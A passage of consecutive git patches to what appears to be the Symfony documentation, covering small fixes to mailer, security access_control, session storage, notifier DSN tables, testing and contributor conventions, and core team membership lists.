From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 11 Jan 2021 22:45:11 +0100
Subject: [PATCH 1721/7107] [Mailer] Update Twig namespace

The examples shown in the "Using External CSS Files" section use/define a Twig namespace called styles, not css. I checked git history and branch 4.4 doesn't have this issue.
---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2bbc58d04a5..fbb84dbdd20 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -663,7 +663,7 @@ arguments to the filter:
 
 You can pass unlimited number of arguments to ``inline_css()`` to load multiple
 CSS files. For this example to work, you also need to define a new Twig namespace
-called ``css`` that points to the directory where ``email.css`` lives:
+called ``styles`` that points to the directory where ``email.css`` lives:
 
 .. _mailer-css-namespace:
 
@@ -786,11 +786,11 @@ You can combine all filters to create complex email messages:
 
 .. code-block:: twig
 
-    {% apply inky_to_html|inline_css(source('@css/foundation-emails.css')) %}
+    {% apply inky_to_html|inline_css(source('@styles/foundation-emails.css')) %}
         {# ... #}
     {% endapply %}
 
-This makes use of the :ref:`css Twig namespace <mailer-css-namespace>` we created
+This makes use of the :ref:`styles Twig namespace <mailer-css-namespace>` we created
 earlier. You could, for example, `download the foundation-emails.css file`_
 directly from GitHub and save it in ``assets/styles``.
 

From da8362f38e286d7c7ecd5ac91b6daf9f67282c46 Mon Sep 17 00:00:00 2001
From: BooleanType <booleantype@ya.ru>
Date: Sun, 10 Jan 2021 22:29:29 +0100
Subject: [PATCH 1722/7107] [Security] Update access_control.rst

---
 security/access_control.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index efae1e628d1..53d216c8ce2 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -40,8 +40,8 @@ Take the following ``access_control`` entries as an example:
         security:
             # ...
             access_control:
-                - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_PORT, ip: 127.0.0.1, port: 8080 }
+                - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ }
                 - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] }
                 # when defining multiple roles, users must have at least one of them (it's like an OR condition)
@@ -59,8 +59,8 @@ Take the following ``access_control`` entries as an example:
 
             <config>
                 <!-- ... -->
-                <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_PORT" ip="127.0.0.1" port="8080"/>
+                <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/>
                 <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/>
                 <!-- when defining multiple roles, users must have at least one of them (it's like an OR condition) -->
@@ -74,17 +74,17 @@ Take the following ``access_control`` entries as an example:
         $container->loadFromExtension('security', [
             // ...
             'access_control' => [
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '127.0.0.1',
-                ],
                 [
                     'path' => '^/admin',
                     'roles' => 'ROLE_USER_PORT',
                     'ip' => '127.0.0.1',
                     'port' => '8080',
                 ],
+                [
+                    'path' => '^/admin',
+                    'roles' => 'ROLE_USER_IP',
+                    'ips' => '127.0.0.1',
+                ],
                 [
                     'path' => '^/admin',
                     'roles' => 'ROLE_USER_HOST',
@@ -112,13 +112,13 @@ if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | URI             | IP          | PORT        | HOST        | METHOD     | ``access_control``             | Why?                                                        |
 +=================+=============+=============+=============+============+================================+=============================================================+
-| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #1 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
+| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #2 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #1 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
+| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #2 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
 |                 |             |             |             |            |                                | the ``ROLE_USER_HOST`` entry, but *only* the **first**      |
 |                 |             |             |             |            |                                | ``access_control`` match is used.                           |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #2 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
+| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #1 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match the first rule, so the second      |
 |                 |             |             |             |            |                                | rule (which matches) is used.                               |

From 03611c500c93ec97549d743d0fcf1d6fb6d3d403 Mon Sep 17 00:00:00 2001
From: Alihasana SHAIKALAUDDEEN <32835040+alihasana@users.noreply.github.com>
Date: Mon, 11 Jan 2021 16:54:50 +0100
Subject: [PATCH 1723/7107] Update access_denied_handler.rst

getException is deprecated from symfony 4.4,  as per event listerner docs we have to use getThrowable()
---
 security/access_denied_handler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 8601218ab56..42ee7fe5dd9 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -210,7 +210,7 @@ configure a :ref:`kernel.exception listener <use-kernel-exception-event>`::
 
         public function onKernelException(ExceptionEvent $event): void
         {
-            $exception = $event->getException();
+            $exception = $event->getThrowable();
             if (!$exception instanceof AccessDeniedException) {
                 return;
             }

From 74fdd75b65cda79d6d34e8f46a27d06e4cecce89 Mon Sep 17 00:00:00 2001
From: Lukas <lukasbownik99@gmail.com>
Date: Tue, 12 Jan 2021 09:25:37 +0100
Subject: [PATCH 1724/7107] Change in table creation SQL for SQL Server

I propose to change VARBINARY to NVARCHAR, because for the newest version of drivers and SQL Server 17 or newer this script creates a table which is not valid: PdoSessionHandler actually tries to insert string in sess_data not binary data.
What's more: VARBINARY(max) is about 8kB long at most whereas NVARCHAR can contain up to 2GB of data.
There is of course another way, suggested by ODBC error while trying to insert data to sessions created like shown: use convert during inserting, however I would not consider it a way.
---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 8766ab9f2a8..badd1412145 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -417,7 +417,7 @@ Microsoft SQL Server
 
     CREATE TABLE sessions (
         sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
-        sess_data VARBINARY(MAX) NOT NULL,
+        sess_data NVARCHAR(MAX) NOT NULL,
         sess_lifetime INTEGER NOT NULL,
         sess_time INTEGER NOT NULL
     );

From bcad249b29919c8fbfa1b5afb74531c303d55b66 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 12 Jan 2021 14:44:13 +0100
Subject: [PATCH 1725/7107] Remove HeahDude from the docs team

---
 contributing/code/core_team.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 9ff45966cbb..d0e86f646a9 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -91,7 +91,6 @@ Active Core Members
   * **Ryan Weaver** (`weaverryan`_);
   * **Christian Flothmann** (`xabbuh`_);
   * **Wouter De Jong** (`wouterj`_);
-  * **Jules Pietri** (`HeahDude`_);
   * **Javier Eguiluz** (`javiereguiluz`_).
   * **Oskar Stark** (`OskarStark`_).
 
@@ -202,7 +201,6 @@ discretion of the **Project Leader**.
 .. _`yceruto`: https://github.com/yceruto
 .. _`michaelcullum`: https://github.com/michaelcullum
 .. _`wouterj`: https://github.com/wouterj
-.. _`HeahDude`: https://github.com/HeahDude
 .. _`OskarStark`: https://github.com/OskarStark
 .. _`romainneutron`: https://github.com/romainneutron
 .. _`lsmith77`: https://github.com/lsmith77/

From 032260a907ef425cc3bfb4c1703d722a5e538d89 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Tue, 12 Jan 2021 14:49:50 +0100
Subject: [PATCH 1726/7107] add HeahDude to the list of former members

---
 contributing/code/core_team.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index d0e86f646a9..9b48e8c4178 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -104,7 +104,8 @@ Symfony contributions:
 * **Abdellatif AitBoudad** (`aitboudad`_);
 * **Romain Neutron** (`romainneutron`_);
 * **Jordi Boggiano** (`Seldaek`_);
-* **Lukas Kahwe Smith** (`lsmith77`_).
+* **Lukas Kahwe Smith** (`lsmith77`_);
+* **Jules Pietri** (`HeahDude`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -201,6 +202,7 @@ discretion of the **Project Leader**.
 .. _`yceruto`: https://github.com/yceruto
 .. _`michaelcullum`: https://github.com/michaelcullum
 .. _`wouterj`: https://github.com/wouterj
+.. _`HeahDude`: https://github.com/HeahDude
 .. _`OskarStark`: https://github.com/OskarStark
 .. _`romainneutron`: https://github.com/romainneutron
 .. _`lsmith77`: https://github.com/lsmith77/

From 0636c9dffe75723c867a0f4f61c725e9a1daf7cb Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Tue, 12 Jan 2021 19:19:42 +0100
Subject: [PATCH 1727/7107] [Mailer] Add missing transports entry in XML and
 PHP configurations

---
 mailer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 86683f365c1..90472439eb5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -978,6 +978,7 @@ you have a transport called ``async``, you can route the message there:
 
             <framework:config>
                 <framework:messenger>
+                    <framework:transport name="async">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport>
                     <framework:routing message-class="Symfony\Component\Mailer\Messenger\SendEmailMessage">
                         <framework:sender service="async"/>
                     </framework:routing>
@@ -990,6 +991,9 @@ you have a transport called ``async``, you can route the message there:
         // config/packages/messenger.php
         $container->loadFromExtension('framework', [
             'messenger' => [
+                'transports' => [
+                    'async' => '%env(MESSENGER_TRANSPORT_DSN)%',
+                ],
                 'routing' => [
                     'Symfony\Component\Mailer\Messenger\SendEmailMessage' => 'async',
                 ],

From a4d0c61d1254295aa1318e277dd7e2df225556d9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 14 Jan 2021 00:29:39 +0100
Subject: [PATCH 1728/7107] Fixed diagram sizes

---
 _images/form/form_prepopulation_workflow.svg | 4 +---
 _images/form/form_submission_workflow.svg    | 4 +---
 _images/form/form_workflow.svg               | 4 +---
 3 files changed, 3 insertions(+), 9 deletions(-)

diff --git a/_images/form/form_prepopulation_workflow.svg b/_images/form/form_prepopulation_workflow.svg
index c44fa6b19e7..1db13f94c72 100644
--- a/_images/form/form_prepopulation_workflow.svg
+++ b/_images/form/form_prepopulation_workflow.svg
@@ -1,6 +1,4 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
-<svg width="48cm" height="9cm" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+<svg width="700" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <g id="prepopulation">
     <g>
       <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="920" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
diff --git a/_images/form/form_submission_workflow.svg b/_images/form/form_submission_workflow.svg
index e9ffc4043f7..b58e11190a1 100644
--- a/_images/form/form_submission_workflow.svg
+++ b/_images/form/form_submission_workflow.svg
@@ -1,6 +1,4 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
-<svg width="27cm" height="29cm" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+<svg width="400" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <g id="submission">
     <g>
       <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1901.61" width="109" height="23.3724"/>
diff --git a/_images/form/form_workflow.svg b/_images/form/form_workflow.svg
index 432a7c51e47..a256c2073ef 100644
--- a/_images/form/form_workflow.svg
+++ b/_images/form/form_workflow.svg
@@ -1,6 +1,4 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
-<svg width="27cm" height="21cm" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+<svg width="400" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <g id="global workflow">
     <g>
       <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="620" width="160" height="63.7055" rx="6" ry="6"/>

From 8ecd1627acf38b106f0d4b98efdf729aa7fe67af Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 14 Jan 2021 08:06:38 +0100
Subject: [PATCH 1729/7107] Clarify how to write a commit message and
 CHANGELOGs

---
 contributing/code/conventions.rst   | 86 +++++++++++++++++++++++------
 contributing/code/pull_requests.rst | 22 ++++----
 2 files changed, 80 insertions(+), 28 deletions(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index c5dda7e7972..3174ac93660 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -7,8 +7,10 @@ coding standards and conventions used in the core framework to make it more
 consistent and predictable. You are encouraged to follow them in your own
 code, but you don't need to.
 
-Method Names
-------------
+.. _method-names:
+
+Naming a Method
+---------------
 
 When an object has a "main" many relation with related "things"
 (objects, parameters, ...), the method names are normalized:
@@ -77,19 +79,63 @@ must be used instead (where ``XXX`` is the name of the related thing):
     ``replaceXXX()``, on the other hand, cannot add new elements. If an unrecognized
     key is passed to ``replaceXXX()`` it must throw an exception.
 
+Writing a CHANGELOG Entry
+-------------------------
+
+When adding a new feature in a minor version or deprecating an existing
+behavior, an entry to the relevant CHANGELOG(s) should be added.
+
+New features and deprecations must be described in a file named
+``CHANGELOG.md`` that should be at the root directory of the modified
+Component, Bridge or Bundle.
+
+The file must be written with the Markdown syntax and follow the following
+conventions:
+
+* The main title is always ``CHANGELOG``;
+
+* Each entry must be added to a minor version section (like ``5.3``) as a list
+  element;
+
+* No third level sections are allowed;
+
+* Messages should follow the commit message conventions: should be short,
+  capitalize the line, do not end with a period, use an imperative verb to
+  start the line;
+
+* New entries must be added on top of the list.
+
+Here is a complete example for reference:
+
+.. code-block:: markdown
+
+    CHANGELOG
+    =========
+
+    5.3
+    ---
+
+     * Add `MagicConfig` that allows configuring things
+
+.. note::
+
+    The main ``CHANGELOG-*`` files at the ``symfony/symfony`` root directory
+    are automatically generated when releases are prepared and should never be
+    modified manually.
+
 .. _contributing-code-conventions-deprecations:
 
 Deprecating Code
 ----------------
 
-From time to time, some classes and/or methods are deprecated in the
-framework; that happens when a feature implementation cannot be changed
-because of backward compatibility issues, but we still want to propose a
-"better" alternative. In that case, the old implementation can be **deprecated**.
+From time to time, some classes and/or methods are deprecated in the framework;
+that happens when a feature implementation cannot be changed because of
+backward compatibility issues, but we still want to propose a "better"
+alternative. In that case, the old implementation can be **deprecated**.
 
 Deprecations must only be introduced on the next minor version of the impacted
-component (or bundle, or bridge, or contract).
-They can exceptionally be introduced on previous supported versions if they are critical.
+component (or bundle, or bridge, or contract). They can exceptionally be
+introduced on previous supported versions if they are critical.
 
 A new class (or interface, or trait) cannot be introduced as deprecated, or
 contain deprecated methods.
@@ -144,10 +190,10 @@ after the use declarations, like in this example from
 
 The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component::
 
-    4.4.0
-    -----
+    4.4
+    ---
 
-    * Deprecated the `Deprecated` class, use `Replacement` instead.
+    * Deprecate the `Deprecated` class, use `Replacement` instead
 
 It must also be added to the ``UPGRADE.md`` file of the targeted minor version
 (``UPGRADE-4.4.md`` in our example)::
@@ -155,15 +201,17 @@ It must also be added to the ``UPGRADE.md`` file of the targeted minor version
     DependencyInjection
     -------------------
 
-    * Deprecated the `Deprecated` class, use `Replacement` instead.
+     * Deprecate the `Deprecated` class, use `Replacement` instead
 
 Finally, its consequences must be added to the ``UPGRADE.md`` file of the next major version
-(``UPGRADE-5.0.md`` in our example)::
+(``UPGRADE-5.0.md`` in our example):
+
+.. code-block:: markdown
 
     DependencyInjection
     -------------------
 
-    * Removed the `Deprecated` class, use `Replacement` instead.
+     * Remove the `Deprecated` class, use `Replacement` instead
 
 All these tasks are mandatory and must be done in the same pull request.
 
@@ -174,12 +222,14 @@ Removing deprecated code can only be done once every 2 years, on the next major
 impacted component (``master`` branch).
 
 When removing deprecated code, the consequences of the deprecation must be added to the ``CHANGELOG.md`` file
-of the impacted component::
+of the impacted component:
+
+.. code-block:: markdown
 
-    5.0.0
-    -----
+    5.0
+    ---
 
-    * Removed the `Deprecated` class, use `Replacement` instead.
+     * Remove the `Deprecated` class, use `Replacement` instead
 
 This task is mandatory and must be done in the same pull request.
 
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index f76e778763f..e69371e9d5e 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -224,7 +224,18 @@ in mind the following:
 * Never fix coding standards in some existing code as it makes the code review
   more difficult;
 
-* Write good commit messages (see the tip below).
+* Write good commit messages: Start by a short subject line (the first line),
+  followed by a blank line and a more detailed description.
+
+  The subject line should start with the Component, Bridge or Bundle you are
+  working on in square brackets (``[DependencyInjection]``,
+  ``[FrameworkBundle]``, ...).
+
+  Then, capitalize the sentence, do not end with a period, and use an
+  imperative verb to start.
+
+  Here is a full example of a subject line: ``[MagicBundle] Add `MagicConfig`
+  that allows configuring things``.
 
 .. tip::
 
@@ -235,15 +246,6 @@ in mind the following:
     A status is posted below the pull request description with a summary
     of any problems it detects or any `Travis-CI`_ build failures.
 
-.. tip::
-
-    A good commit message is composed of a summary (the first line),
-    optionally followed by a blank line and a more detailed description. The
-    summary should start with the Component you are working on in square
-    brackets (``[DependencyInjection]``, ``[FrameworkBundle]``, ...). Use a
-    verb (``fixed ...``, ``added ...``, ...) to start the summary and don't
-    add a period at the end.
-
 .. _prepare-your-patch-for-submission:
 
 Prepare your Pull Request for Submission

From 81e0f46e2b87425ac425ee498a6db74d8af063b5 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Thu, 14 Jan 2021 10:32:44 +0100
Subject: [PATCH 1730/7107] add Oskar to the Symfony core team

---
 contributing/code/core_team.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 9b48e8c4178..4c719ff4330 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -72,7 +72,8 @@ Active Core Members
   * **Wouter De Jong** (`wouterj`_);
   * **Alexander M. Turek** (`derrabus`_);
   * **Jérémy Derussé** (`jderusse`_);
-  * **Titouan Galopin** (`tgalopin`_).
+  * **Titouan Galopin** (`tgalopin`_);
+  * **Oskar Stark** (`OskarStark`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 

From 5f70432f366e62bdced954c95ef94aa86baa4de2 Mon Sep 17 00:00:00 2001
From: Piergiuseppe Longo <plongo@alteanet.it>
Date: Thu, 22 Oct 2020 19:48:29 +0200
Subject: [PATCH 1731/7107] [Notifier] Add gatewayapi-notifier

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 966124b01bb..56543824d46 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -58,6 +58,7 @@ Service     Package                           DSN
 ==========  ================================  ====================================================
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://ACCESS_TOKEN@HOST?from=FROM``
 Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
@@ -80,7 +81,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms and Octopush integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi and Octopush integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 7cb4c17cb976950e1a91b22f5d69261d3b1fc3b1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 14 Jan 2021 14:06:07 +0100
Subject: [PATCH 1732/7107] Sync with README from the bridge

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ca6f17ed9a9..d328084c0b8 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ Service     Package                           DSN
 ==========  ================================  ====================================================
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-Infobip     ``symfony/infobip-notifier``      ``infobip://ACCESS_TOKEN@HOST?from=FROM``
+Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``

From 058dfaaf96a6fe3b255b4076a172afaf50542df1 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Wed, 23 Dec 2020 15:04:21 +0100
Subject: [PATCH 1733/7107] [Notifier] Add AllMySms service to list

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e6f2c653996..c27eb8ae51b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -56,6 +56,7 @@ with a couple popular SMS services:
 ==========  ================================  ====================================================
 Service     Package                           DSN
 ==========  ================================  ====================================================
+AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
@@ -81,7 +82,8 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi and Octopush integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush and AllMySms integrations were introduced in Symfony 5.3.
+
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From debedc3af64757a7ff87e64d643b92f549b465e7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 15 Jan 2021 07:58:55 +0100
Subject: [PATCH 1734/7107] Rename threadKey to thread_key

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c27eb8ae51b..da02d2a585d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -150,7 +150,7 @@ Service     Package                           DSN
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
-GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``
+GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``

From e6a6c33bf2df1fb1e89cf4084ff2babdaedf7022 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 11 Jan 2021 16:27:20 +0100
Subject: [PATCH 1735/7107] Add warning about removed services

---
 testing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/testing.rst b/testing.rst
index 8c9550f64ca..36646e7d407 100644
--- a/testing.rst
+++ b/testing.rst
@@ -590,6 +590,12 @@ container is a service that can be get via the normal container::
         // ...
     }
 
+.. caution::
+
+    The special container ``test.service_container`` doesn't give access
+    to the services that have been removed. In this case, you'll have
+    to declare the services you need as public.
+
 .. tip::
 
     If the information you need to check is available from the profiler, use

From 3a9cc3824d089ce8f6fb407517cde81be8ae38cb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Jan 2021 17:08:38 +0100
Subject: [PATCH 1736/7107] Rewords

---
 testing.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 36646e7d407..c3dd66c7f9c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -592,9 +592,10 @@ container is a service that can be get via the normal container::
 
 .. caution::
 
-    The special container ``test.service_container`` doesn't give access
-    to the services that have been removed. In this case, you'll have
-    to declare the services you need as public.
+    The special container ``test.service_container`` doesn't give access to the
+    private services that have been removed (those who are not used by any
+    other services). The solution is to declare those private services as public
+    in the ``config/services_test.yaml`` file.
 
 .. tip::
 

From 0d09b1f4ee24230667800f57d22048cfde24272f Mon Sep 17 00:00:00 2001
From: Jan Richter <falnyr@gmail.com>
Date: Tue, 12 Jan 2021 07:14:44 +1300
Subject: [PATCH 1737/7107] Update introduction.rst

PHP 5.5 is no longer supported
---
 create_framework/introduction.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index 1c068942110..dfef9228e44 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -62,7 +62,7 @@ Before You Start
 
 Reading about how to create a framework is not enough. You will have to follow
 along and actually type all the examples included in this tutorial. For that,
-you need a recent version of PHP (5.5.9 or later is good enough), a web server
+you need a recent version of PHP (7.4 or later is good enough), a web server
 (like Apache, nginx or PHP's built-in web server), a good knowledge of PHP and
 an understanding of Object Oriented programming.
 

From ebdf28d811a8de05d691ed1cfb0c12d302f6fbec Mon Sep 17 00:00:00 2001
From: Thomas Calvet <calvet.thomas@gmail.com>
Date: Thu, 7 Jan 2021 18:35:17 +0100
Subject: [PATCH 1738/7107] [Serializer] Add UidNormalizer normalization
 formats

---
 components/serializer.rst | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 73637fcf1a1..68a7f90f7c7 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -829,21 +829,25 @@ The Serializer component provides several built-in normalizers:
 
